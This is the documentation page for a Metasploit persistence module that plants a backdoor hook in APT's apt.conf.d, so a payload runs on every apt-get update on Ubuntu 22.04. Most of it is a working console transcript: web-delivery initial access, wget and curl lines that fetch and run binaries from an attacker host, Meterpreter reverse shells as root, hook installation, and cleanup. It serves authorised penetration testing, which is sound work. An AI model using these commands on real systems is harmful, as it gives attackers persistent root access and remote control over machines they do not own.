Apt Package Manager - Metasploit Framework

Vulnerable Application

This module will run a payload when the apt package manager is used. This module creates a pre-invoke hook for APT in apt.conf.d. The hook name syntax is numeric followed by text.

Verified on Ubuntu 22.04

Verification Steps

Exploit a box that uses APT
Obtain root persmissions, or enough permissions to edit the apt.conf.d folder
use exploit/linux/persistence/apt_package_manager
set SESSION <id>
set PAYLOAD cmd/unix/reverse_python configure the payload as needed
exploit

When the system runs apt-get update the payload will launch.

Options

PAYLOAD_NAME

Name of backdoor executable. Defaults to a random name

HOOKNAME

Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text.

Scenarios

Tested on Ubuntu 22.04

Initial access vector via web delivery

$ ./msfconsole -q
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545 
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Z73D1DUW --no-check-certificate http://111.111.1.111:8181/l; chmod +x Z73D1DUW; ./Z73D1DUW& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > 
[*] 222.222.2.22     web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:51076) at 2025-02-04 17:40:52 -0500
sessions -l
Active sessions
===============
  Id  Name  Type                   Information          Connection
  --  ----  ----                   -----------          ----------
  1         meterpreter x64/linux  root @ 222.222.2.22  111.111.1.111:4545 -> 222.222.2.22:51076 (222.222.2.22)

Persistence

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/apt_package_manager 
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > check
[*] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get.
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > exploit
[*] Command to run on remote host: curl -so ./xTOLdQoOTv http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xTOLdQoOTv;./xTOLdQoOTv&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) > 
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get.
[*] Attempting to write hook:
[*] Wrote /etc/apt/apt.conf.d/76skoGqswo
[*] Backdoor uploaded /tmp/erNOJV96u
[+] Backdoor will run on next APT update
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) > jobs
Jobs
====
  Id  Name                                            Payload                                     Payload opts
  --  ----                                            -------                                     ------------
  0   Exploit: multi/script/web_delivery              linux/x64/meterpreter/reverse_tcp           tcp://111.111.1.111:4545
  1   Exploit: linux/persistence/apt_package_manager  cmd/linux/http/x64/meterpreter/reverse_tcp  tcp://111.111.1.111:4444
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) >

Run sudo apt-get update on the target.

[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.22 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:49804) at 2025-02-04 17:43:06 -0500
[msf](Jobs:2 Agents:2) exploit(linux/persistence/apt_package_manager) > sessions -i 2
[*] Starting interaction with 2...
(Meterpreter 2)(/tmp) > sysinfo
Computer     : 222.222.2.22
OS           : Ubuntu 22.04 (Linux 5.15.0-48-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
(Meterpreter 2)(/tmp) >

Cleanup

(Meterpreter 2)(/tmp) > resource /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc
[*] Processing /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc for ERB directives.
resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /etc/apt/apt.conf.d/76skoGqswo
resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /tmp/erNOJV96u